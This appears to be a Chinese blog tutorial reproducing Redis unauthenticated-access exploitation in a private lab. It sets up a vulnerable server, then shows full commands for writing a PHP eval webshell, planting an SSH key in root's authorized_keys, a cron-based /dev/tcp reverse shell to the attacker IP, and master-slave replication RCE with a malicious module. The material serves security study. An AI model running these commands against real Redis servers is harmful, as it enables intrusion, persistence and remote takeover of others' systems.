Redis未授权访问及利用复现(保姆级教程)

一、简介:

Redis 是一个高效的数据库,默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未经授权就可以访问 Redis 以及读取 Redis 的数据。

二、漏洞影响版本

Redis 2.x,3.x,4.x,5.x

三、漏洞危害

(1) 攻击者不需要认证就可以访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。

(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器

四、漏洞环境搭建

  • 靶机:CentOS6
    IP:192.168.224.130
    在这里插入图片描述
  • 攻击机:Kali
    ip:192.168.224.129
    在这里插入图片描述
  • 测试连通性:
    在这里插入图片描述

1. 靶机安装Redis

1.1 靶机下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

在这里插入图片描述
1.2 解压,进入源码目录,然后编译(make、make install)

tar -zxf redis-4.0.10.tar.gz   #解压
cd redis-4.0.10    #进入解压的文件夹内
make  
make install #编译


在这里插入图片描述
1.3 启动redis服务
1.3.1 启动redis服务
redis-server
在这里插入图片描述
启动成功,可以看到版本号,还有进程PID

1.3.2 查看redis服务
使用另外打开一个终端,输入命令:ps -ef | grep redis-server
在这里插入图片描述
可以看到redis服务已经启动,绑定的端口为6379

2. kali安装Redis客户端(Redis-cli)

2.1 下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
在这里插入图片描述
2.2 解压,编译

tar -xzf redis-4.0.10.tar.gz
cd /redis-4.0.10
make
make install

在这里插入图片描述
在这里插入图片描述
2.3 连接靶机测试redis客户端是否安装完成:
进入到src目录:cd src
然后连接靶机:./redis-cli -h 192.168.224.130
在这里插入图片描述
显示连接失败,判断是防火墙的问题,由于“懒”,没找到命令关闭防火墙,直接图形化界面关闭。其他的请自行百度。

手动关闭防火墙:
在这里插入图片描述
在这里插入图片描述
然后再次连接:./redis-cli -h 192.168.224.130
在这里插入图片描述
但是显示一大连串英文,拷贝,然后翻译一波,判断是因为redis的保护模式

默认redis需要设置管理员账号密码,开启了保护模式

所以如果第一次使用没有设置管理员,就会出现报错,关闭保护模式即可

关闭redis保护模式
1、进入redis安装目录(我的就在桌面)找到conf目录下的redis.conf文件
vi redis.conf 加#注释bind 127.0.0.1这一行
然后修改protected-mode 为protected-mode no
在这里插入图片描述在这里插入图片描述
修改完成后,杀掉redis的进程:kill 【你的pid,redis启动界面有】
我的就是:kill 2939
在这里插入图片描述
然后重启redis:
src/redis-server redis.conf
要注意以上操作的路径。
kali连接,输入info查看版本信息,终于成功了:
在这里插入图片描述

五、漏洞复现

利用方式1

1:写入webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
分别使用以下命令:

config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save

在这里插入图片描述
这时返回靶机,发现文件写入成功。

在这里插入图片描述
在这里插入图片描述

2. 写入一句话

依次执行一下命令:

config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['x']); ?>\n\n\n"
config set dbfilename webshell.php
save

这时靶机会创建一个webshell的一句话php文件
在这里插入图片描述

在这里插入图片描述
因为我的靶机没有搭建网站,所以就没办法连接测试了。
注:看教程中,在ubuntu环境测试,菜刀一直解析不到上传的木马。

利用方式2:通过写入SSH公钥实现SSH登录

原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

  1. 首先在攻击机kali上生成公钥。
    ssh-keygen -t rsa
    选项默认回车就可以。
    在这里插入图片描述
  2. 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

在这里插入图片描述

  • 再把key.txt文件内容写入redis缓冲
    …进入到redis-4.0.10/src目录下
    cat /root/.ssh/key.txt |./redis-cli -h 192.168.224.130 -x set pub在这里插入图片描述
  • 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
    分别输入一下命令:
 ./redis-cli -h 192.168.224.130 
 config set dir /root/.ssh
 config set dbfilename authorized_keys
 save

在这里插入图片描述

注意:
redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
在这里插入图片描述

  • 然后进行连接

ssh 192.168.224.130在这里插入图片描述

利用方式3:在crontab里写定时任务,反弹shell

  1. 在攻击机开启监听模式:
    nc -nvlp 5555
    在这里插入图片描述
  2. 客户端(攻击机)使用redis-cli连接redis服务器,依次执行下列命令写入反弹shell。
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.224.129/5555 0>&1\n\n"  # ip改为攻击机的IP

config set dir /var/spool/cron

config set dbfilename root

save

在这里插入图片描述
3. 1分钟后,客户端(攻击机)接收到了服务器的反弹shell。
在这里插入图片描述

可以在靶机上面查看我们写入的计划任务。
在这里插入图片描述

利用方式4:redis主从复制

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

需要下载工具RedisModules-ExecuteCommand

  • 依次执行下列命令:
    (我新建了个redis文件夹,然后进入该目录,这样就可以将文件下载到该文件夹,便于分类。)
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so

在这里插入图片描述

  • 回到redis目录昌达继续执行:
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.224.128 -p 6379 -L 192.168.224.129 -f module.so # python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

参考:

https://www.cnblogs.com/yuzly/p/11663822.html
https://www.suibibk.com/topic/715696034407251968
https://www.jianshu.com/p/57c7e29a37a4

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值